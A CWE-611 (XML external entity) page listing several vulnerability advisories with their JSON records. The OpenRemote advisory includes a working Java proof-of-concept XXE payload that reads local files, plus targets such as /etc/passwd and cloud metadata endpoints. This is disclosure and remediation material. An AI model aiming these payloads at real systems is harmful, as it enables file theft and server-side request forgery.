Common Weakness Enumeration
CWE-611
AllowedImproper Restriction of XML External Entity Reference
Abstraction: Base · Status: Draft
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
1697 vulnerabilities reference this CWE, most recent first.
GHSA-7QWG-6759-84R6
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2023-10-18 21:33
VLAI
Details
An issue was discovered in Intland codeBeamer ALM 10.x through 10.1.SP4. The ReqIF XML data, used by the codebeamer ALM application to import projects, is parsed by insecurely configured software components, which can be abused for XML External Entity Attacks.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2020-26513"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-07T16:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Intland codeBeamer ALM 10.x through 10.1.SP4. The ReqIF XML data, used by the codebeamer ALM application to import projects, is parsed by insecurely configured software components, which can be abused for XML External Entity Attacks.",
"id": "GHSA-7qwg-6759-84r6",
"modified": "2023-10-18T21:33:08Z",
"published": "2022-05-24T17:35:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26513"
},
{
"type": "WEB",
"url": "https://compass-security.com/fileadmin/Research/Advisories/2020-09_CSNC-2020-008_Intland_codeBeamer_ALM_XXE.txt"
},
{
"type": "WEB",
"url": "https://intland.com/codebeamer/application-lifecycle-management"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7R9X-QRPR-3CXW
Vulnerability from github – Published: 2022-08-11 18:06 – Updated: 2022-08-11 18:06
VLAI
Summary
mofh Vulnerable to Improper Restriction of XML External Entity Reference
Details
The xml.etree.ElementTree module that mofh used up until version 1.0.1 implements a simple and efficient API for parsing and creating XML data. But it makes the application vulnerable to:
- Billion Laughs attack: It is a type of denial-of-service attack aimed at XML parsers. It uses multiple levels of nested entities. If one large entity is repeated with a couple of thousand chars repeatedly, the parser gets overwhelmed.
- Quadratic blowup attack: It is similar to a Billion Laughs attack. It abuses entity expansion, too. Instead of nested entities, it repeats one large entity with a couple of thousand chars repeatedly.
The Problem has been patched starting from version 1.0.1 by utilising the defusedxml package instead of xml.etree.ElementTree.
Workarounds
For this vulnerability to be exploited the user must be using a custom API URL, which has to be manually given using the api_url argument, or MyOwnFreeHost's API must be hacked. So, if the user did not use a custom API URL they should be fine, however, upgrading is still advised.
Another workaround could be to call defusedxml.defuse_stdlib() before making any requests using the client.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mofh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-11T18:06:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The `xml.etree.ElementTree` module that mofh used up until version `1.0.1` implements a simple and efficient API for parsing and creating XML data. But it makes the application vulnerable to:\n\n- [Billion Laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack): It is a type of denial-of-service attack aimed at XML parsers. It uses multiple levels of nested entities. If one large entity is repeated with a couple of thousand chars repeatedly, the parser gets overwhelmed. \n- [Quadratic blowup attack](https://www.acunetix.com/vulnerabilities/web/xml-quadratic-blowup-denial-of-service-attack/): It is similar to a Billion Laughs attack. It abuses entity expansion, too. Instead of nested entities, it repeats one large entity with a couple of thousand chars repeatedly.\n\nThe Problem has been patched starting from version `1.0.1` by utilising the `defusedxml` package instead of `xml.etree.ElementTree`.\n\n### Workarounds\nFor this vulnerability to be exploited the user must be using a custom API URL, which has to be manually given using the `api_url` argument, or MyOwnFreeHost\u0027s API must be hacked. So, if the user did not use a custom API URL they _should_ be fine, however, upgrading is still advised.\n\nAnother workaround could be to call `defusedxml.defuse_stdlib()` before making any requests using the client.",
"id": "GHSA-7r9x-qrpr-3cxw",
"modified": "2022-08-11T18:06:05Z",
"published": "2022-08-11T18:06:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Wallvon/mofh/security/advisories/GHSA-7r9x-qrpr-3cxw"
},
{
"type": "WEB",
"url": "https://github.com/Wallvon/mofh/commit/da0d33cfd368e2f237ab28bf7a7f00e3d281005a"
},
{
"type": "PACKAGE",
"url": "https://github.com/Wallvon/mofh"
},
{
"type": "WEB",
"url": "https://www.acunetix.com/vulnerabilities/web/xml-quadratic-blowup-denial-of-service-attack"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "mofh Vulnerable to Improper Restriction of XML External Entity Reference"
}
GHSA-7RP6-W7MG-H8RW
Vulnerability from github – Published: 2021-09-20 20:22 – Updated: 2021-09-17 18:29
VLAI
Summary
XML External Entity Reference in Apache Jena
Details
A vulnerability in XML processing in Apache Jena, in versions up to 4.1.0, may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.jena:jena-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39239"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-17T18:29:23Z",
"nvd_published_at": "2021-09-16T15:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in XML processing in Apache Jena, in versions up to 4.1.0, may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.",
"id": "GHSA-7rp6-w7mg-h8rw",
"modified": "2021-09-17T18:29:23Z",
"published": "2021-09-20T20:22:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39239"
},
{
"type": "PACKAGE",
"url": "https://gitbox.apache.org/repos/asf?p=jena.git"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r0f03ae7e102c3e8587fdd36531fc167309335738156dfbd7d9c1bf45@%3Cdev.jena.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rce5241b228a1f0e5880f6b2bfdb7ae9ee420e94cb692738a0bbfed9d@%3Cdev.jena.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf44d529c54ef1d0097e813f576a0823a727e1669a9f610d3221d493d%40%3Cusers.jena.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf44d529c54ef1d0097e813f576a0823a727e1669a9f610d3221d493d@%3Cannounce.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "XML External Entity Reference in Apache Jena"
}
GHSA-7RPJ-HG47-CX62
Vulnerability from github – Published: 2021-12-16 14:29 – Updated: 2023-03-21 16:18
VLAI
Summary
Improper Restriction of XML External Entity Reference in com.h2database:h2.
Details
H2 is an embeddable RDBMS written in Java. The package com.h2database:h2 from 1.4.198 and before 2.0.202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method. If it executes the getSource() method when the parameter is DOMSource.class it will trigger the vulnerability.
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.h2database:h2"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.198"
},
{
"fixed": "2.0.202"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23463"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2021-12-14T14:17:37Z",
"nvd_published_at": "2021-12-10T20:15:00Z",
"severity": "HIGH"
},
"details": "H2 is an embeddable RDBMS written in Java. The package com.h2database:h2 from 1.4.198 and before 2.0.202 are vulnerable to XML External Entity (XXE) Injection via the org.h2.jdbc.JdbcSQLXML class object, when it receives parsed string data from org.h2.jdbc.JdbcResultSet.getSQLXML() method. If it executes the getSource() method when the parameter is DOMSource.class it will trigger the vulnerability.",
"id": "GHSA-7rpj-hg47-cx62",
"modified": "2023-03-21T16:18:09Z",
"published": "2021-12-16T14:29:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23463"
},
{
"type": "WEB",
"url": "https://github.com/h2database/h2database/issues/3195"
},
{
"type": "WEB",
"url": "https://github.com/h2database/h2database/pull/3199"
},
{
"type": "WEB",
"url": "https://github.com/h2database/h2database/pull/3199#issuecomment-1002830390"
},
{
"type": "WEB",
"url": "https://github.com/boris-unckel/h2database/commit/f9ad6aef2bfa59eba2b4d3e7c4c32d2cce8e8b05"
},
{
"type": "WEB",
"url": "https://github.com/h2database/h2database/commit/d83285fd2e48fb075780ee95badee6f5a15ea7f8%23diff-008c2e4462609982199cd83e7cf6f1d6b41296b516783f6752c44b9f15dc7bc3"
},
{
"type": "WEB",
"url": "https://github.com/h2database/h2database"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230818-0010"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-COMH2DATABASE-1769238"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Restriction of XML External Entity Reference in com.h2database:h2."
}
GHSA-7V35-QWWJ-P98G
Vulnerability from github – Published: 2019-07-05 21:07 – Updated: 2022-11-17 18:10
VLAI
Summary
Improper Restriction of XML External Entity Reference in DiffPlug Spotless
Details
In DiffPlug Spotless before 1.20.0 (library and Maven plugin) and before 3.20.0 (Gradle plugin), the XML parser would resolve external entities over both HTTP and HTTPS and didn't respect the resolveExternalEntities setting. For example, this allows disclosure of file contents to a MITM attacker if a victim performs a spotlessApply operation on an untrusted XML file.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.diffplug.spotless:spotless-plugin-gradle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.20.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.diffplug.spotless:spotless-maven-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-9843"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2019-07-01T16:09:01Z",
"nvd_published_at": "2019-06-28T18:15:00Z",
"severity": "HIGH"
},
"details": "In DiffPlug Spotless before 1.20.0 (library and Maven plugin) and before 3.20.0 (Gradle plugin), the XML parser would resolve external entities over both HTTP and HTTPS and didn\u0027t respect the resolveExternalEntities setting. For example, this allows disclosure of file contents to a MITM attacker if a victim performs a spotlessApply operation on an untrusted XML file.",
"id": "GHSA-7v35-qwwj-p98g",
"modified": "2022-11-17T18:10:27Z",
"published": "2019-07-05T21:07:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9843"
},
{
"type": "WEB",
"url": "https://github.com/diffplug/spotless/issues/358"
},
{
"type": "WEB",
"url": "https://github.com/diffplug/spotless/pull/369"
},
{
"type": "PACKAGE",
"url": "https://github.com/diffplug/spotless"
},
{
"type": "WEB",
"url": "https://github.com/diffplug/spotless/blob/master/plugin-gradle/CHANGES.md#version-3200---march-11th-2018-javadoc-jcenter"
},
{
"type": "WEB",
"url": "https://github.com/diffplug/spotless/blob/master/plugin-maven/CHANGES.md#version-1200---march-14th-2018-javadoc-jcenter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Restriction of XML External Entity Reference in DiffPlug Spotless"
}
GHSA-7V6W-C3F4-9WPQ
Vulnerability from github – Published: 2026-07-06 20:49 – Updated: 2026-07-06 20:49
VLAI
Summary
OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory
Details
Summary
The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).
Details
Incomplete patch
CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.
Patched file — AbstractVelbusProtocol.java:
private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
return factory;
}
Vulnerable file — KNXProtocol.java, lines 229–249:
// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);
// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP
new StreamResult(writer));
// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
.createXMLStreamReader(new StringReader(xml))) { ... }
Data flow
POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)
→ AgentResourceImpl.doProtocolAssetImport(fileData)
→ KNXProtocol.startAssetImport(byte[] fileData)
→ ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
→ Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1
→ XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2
→ external entity resolved → arbitrary file read
Comparison with patched code
| Handler | XML parser | DTD disabled | Status |
|---|---|---|---|
AbstractVelbusProtocol |
DocumentBuilderFactory |
✅ 5 features set | Patched (CVE-2026-40882) |
KNXProtocol |
Saxon + XMLInputFactory |
❌ none set | Not patched |
PoC
No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.
Requirements: Java 17+, Maven 3.8+
pom.xml dependency:
<dependency>
<groupId>net.sf.saxon</groupId>
<artifactId>Saxon-HE</artifactId>
<version>12.9</version>
</dependency>
Exploit.java:
import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;
public class Exploit {
public static void main(String[] args) throws Exception {
// Sentinel file — proves arbitrary file read
Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
Files.writeString(sentinel, tag);
String maliciousXml =
"<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
" <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
"]>\n" +
"<root><data>&xxe;</data></root>";
// Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
XMLInputFactory factory = XMLInputFactory.newInstance();
XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
StringBuilder sb = new StringBuilder();
while (reader.hasNext()) {
int e = reader.next();
if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
}
System.out.println("Stage A result: " + sb.toString().trim());
// Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
String xsl = "<?xml version=\"1.0\"?>" +
"<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
"<xsl:output method=\"text\"/>" +
"<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
"</xsl:stylesheet>";
TransformerFactory tf = new TransformerFactoryImpl();
StringWriter writer = new StringWriter();
tf.newTransformer(new StreamSource(new StringReader(xsl)))
.transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
System.out.println("Stage B result: " + writer.toString().trim());
Files.deleteIfExists(sentinel);
}
}
Build and run:
mvn clean package -q
java -jar target/openremote-xxe-1.0.jar
Verified output (JDK 21, Linux):
Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589
Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.
Impact
Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).
Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:
/etc/passwd— user enumeration- Application configuration files containing database credentials or API keys
- Cloud provider metadata endpoints via SSRF (
http://169.254.169.254/...) - Internal service endpoints reachable from the server
The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.
Severity
7.6 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.24.1"
},
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54640"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:49:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files).\n\n### Details\n### Incomplete patch\n\nCVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data.\n\n**Patched file \u2014 AbstractVelbusProtocol.java:**\n\n```java\nprivate DocumentBuilderFactory createSecureDocumentBuilderFactory() {\n DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();\n factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);\n factory.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true);\n factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);\n factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false);\n factory.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false);\n return factory;\n}\n```\n\n**Vulnerable file \u2014 KNXProtocol.java, lines 229\u2013249:**\n\n```java\n// Line 229-230: reads 0.xml from user-uploaded ZIP\nInputStream inputStream = KNXProtocol.class.getResourceAsStream(\".../ets_calimero_group_name.xsl\");\nString xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);\n\n// Lines 233-245: Saxon XSLT \u2014 no XXE protection on the source document\nTransformerFactory tfactory = new TransformerFactoryImpl();\nTransformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));\ntransformer.transform(\n new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker\u0027s ZIP\n new StreamResult(writer));\n\n// Line 249: XMLInputFactory \u2014 no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false\ntry (final XmlReader r = XmlInputFactory.newInstance()\n .createXMLStreamReader(new StringReader(xml))) { ... }\n```\n\n### Data flow\n\n```\nPOST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L)\n \u2192 AgentResourceImpl.doProtocolAssetImport(fileData)\n \u2192 KNXProtocol.startAssetImport(byte[] fileData)\n \u2192 ZipInputStream reads 0.xml from attacker-controlled ETS ZIP\n \u2192 Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) \u2190 XXE stage 1\n \u2192 XmlInputFactory.newInstance().createXMLStreamReader(xml) \u2190 XXE stage 2\n \u2192 external entity resolved \u2192 arbitrary file read\n```\n\n### Comparison with patched code\n\n| Handler | XML parser | DTD disabled | Status |\n|---|---|---|---|\n| `AbstractVelbusProtocol` | `DocumentBuilderFactory` | \u2705 5 features set | Patched (CVE-2026-40882) |\n| `KNXProtocol` | `Saxon` + `XMLInputFactory` | \u274c none set | **Not patched** |\n\n\n### PoC\nNo full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.\n\n**Requirements:** Java 17+, Maven 3.8+\n\n**pom.xml dependency:**\n```xml\n\u003cdependency\u003e\n \u003cgroupId\u003enet.sf.saxon\u003c/groupId\u003e\n \u003cartifactId\u003eSaxon-HE\u003c/artifactId\u003e\n \u003cversion\u003e12.9\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\n**Exploit.java:**\n```java\nimport net.sf.saxon.TransformerFactoryImpl;\nimport javax.xml.stream.*;\nimport javax.xml.transform.*;\nimport javax.xml.transform.stream.*;\nimport java.io.*;\nimport java.nio.file.*;\n\npublic class Exploit {\n public static void main(String[] args) throws Exception {\n\n // Sentinel file \u2014 proves arbitrary file read\n Path sentinel = Files.createTempFile(\"openremote_xxe_proof_\", \".txt\");\n String tag = \"OPENREMOTE_KNX_XXE_\" + System.currentTimeMillis();\n Files.writeString(sentinel, tag);\n\n String maliciousXml =\n \"\u003c?xml version=\\\"1.0\\\"?\u003e\\n\" +\n \"\u003c!DOCTYPE root [\\n\" +\n \" \u003c!ENTITY xxe SYSTEM \\\"file://\" + sentinel.toAbsolutePath() + \"\\\"\u003e\\n\" +\n \"]\u003e\\n\" +\n \"\u003croot\u003e\u003cdata\u003e\u0026xxe;\u003c/data\u003e\u003c/root\u003e\";\n\n // Stage A: XMLInputFactory (KNXProtocol.java:249 \u2014 no security config)\n XMLInputFactory factory = XMLInputFactory.newInstance();\n XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));\n StringBuilder sb = new StringBuilder();\n while (reader.hasNext()) {\n int e = reader.next();\n if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());\n }\n System.out.println(\"Stage A result: \" + sb.toString().trim());\n\n // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)\n String xsl = \"\u003c?xml version=\\\"1.0\\\"?\u003e\" +\n \"\u003cxsl:stylesheet version=\\\"1.0\\\" xmlns:xsl=\\\"http://www.w3.org/1999/XSL/Transform\\\"\u003e\" +\n \"\u003cxsl:output method=\\\"text\\\"/\u003e\" +\n \"\u003cxsl:template match=\\\"/\\\"\u003e\u003cxsl:value-of select=\\\"root/data\\\"/\u003e\u003c/xsl:template\u003e\" +\n \"\u003c/xsl:stylesheet\u003e\";\n TransformerFactory tf = new TransformerFactoryImpl();\n StringWriter writer = new StringWriter();\n tf.newTransformer(new StreamSource(new StringReader(xsl)))\n .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));\n System.out.println(\"Stage B result: \" + writer.toString().trim());\n\n Files.deleteIfExists(sentinel);\n }\n}\n```\n\n**Build and run:**\n```bash\nmvn clean package -q\njava -jar target/openremote-xxe-1.0.jar\n```\n\n**Verified output (JDK 21, Linux):**\n```\nStage A result: OPENREMOTE_KNX_XXE_1780611779589\nStage B result: OPENREMOTE_KNX_XXE_1780611779589\n```\n\nBoth stages print the sentinel file\u0027s contents, confirming that an external entity referencing a local file is resolved without restriction.\n\n\n### Impact\n**Vulnerability type:** XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).\n\n**Who is impacted:** Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:\n\n- `/etc/passwd` \u2014 user enumeration\n- Application configuration files containing database credentials or API keys\n- Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`)\n- Internal service endpoints reachable from the server\n\nThe vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.",
"id": "GHSA-7v6w-c3f4-9wpq",
"modified": "2026-07-06T20:49:51Z",
"published": "2026-07-06T20:49:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-7v6w-c3f4-9wpq"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/commit/c28d3c60ebc2da68d9b6c4a6d7a5ad875a255ee9"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory"
}
GHSA-7WGC-PRFC-R69W
Vulnerability from github – Published: 2022-05-14 03:44 – Updated: 2022-05-14 03:44
VLAI
Details
XML external entity (XXE) vulnerability in the RSSDashlet dashlet in SugarCRM before 6.5.17 allows remote attackers to read arbitrary files or potentially execute arbitrary code via a crafted DTD in an XML request.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2014-3244"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-02-01T17:29:00Z",
"severity": "CRITICAL"
},
"details": "XML external entity (XXE) vulnerability in the RSSDashlet dashlet in SugarCRM before 6.5.17 allows remote attackers to read arbitrary files or potentially execute arbitrary code via a crafted DTD in an XML request.",
"id": "GHSA-7wgc-prfc-r69w",
"modified": "2022-05-14T03:44:34Z",
"published": "2022-05-14T03:44:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3244"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20151105182132/http://www.pnigos.com/?p=294"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Jun/92"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/68102"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WWR-6QPH-HRH6
Vulnerability from github – Published: 2022-05-14 02:02 – Updated: 2022-05-14 02:02
VLAI
Details
Stroom version <5.4.5 contains a XML External Entity (XXE) vulnerability in XML Parser that can result in disclosure of confidential data, denial of service, server side request forgery, port scanning. This attack appear to be exploitable via Specially crafted XML file.
Severity
10.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2018-1000651"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-08-20T19:31:00Z",
"severity": "CRITICAL"
},
"details": "Stroom version \u003c5.4.5 contains a XML External Entity (XXE) vulnerability in XML Parser that can result in disclosure of confidential data, denial of service, server side request forgery, port scanning. This attack appear to be exploitable via Specially crafted XML file.",
"id": "GHSA-7wwr-6qph-hrh6",
"modified": "2022-05-14T02:02:39Z",
"published": "2022-05-14T02:02:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000651"
},
{
"type": "WEB",
"url": "https://github.com/gchq/stroom/issues/813"
},
{
"type": "WEB",
"url": "https://0dd.zone/2018/08/08/stroom-XXE"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XVQ-VM2P-4R2F
Vulnerability from github – Published: 2025-10-01 18:30 – Updated: 2025-10-01 18:30
VLAI
Details
In Splunk Enterprise versions below 9.4.4, 9.3.6, and 9.2.8, and Splunk Cloud Platform versions below 9.3.2411.108, 9.3.2408.118 and 9.2.2406.123, a low privilege user that does not hold the "admin" or "power" Splunk roles could perform an extensible markup language (XML) external entity (XXE) injection through the dashboard tab label field. The XXE injection has the potential to cause denial of service (DoS) attacks.
Severity
4.6 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-20369"
],
"database_specific": {
"cwe_ids": [
"CWE-611",
"CWE-776"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-01T17:15:40Z",
"severity": "MODERATE"
},
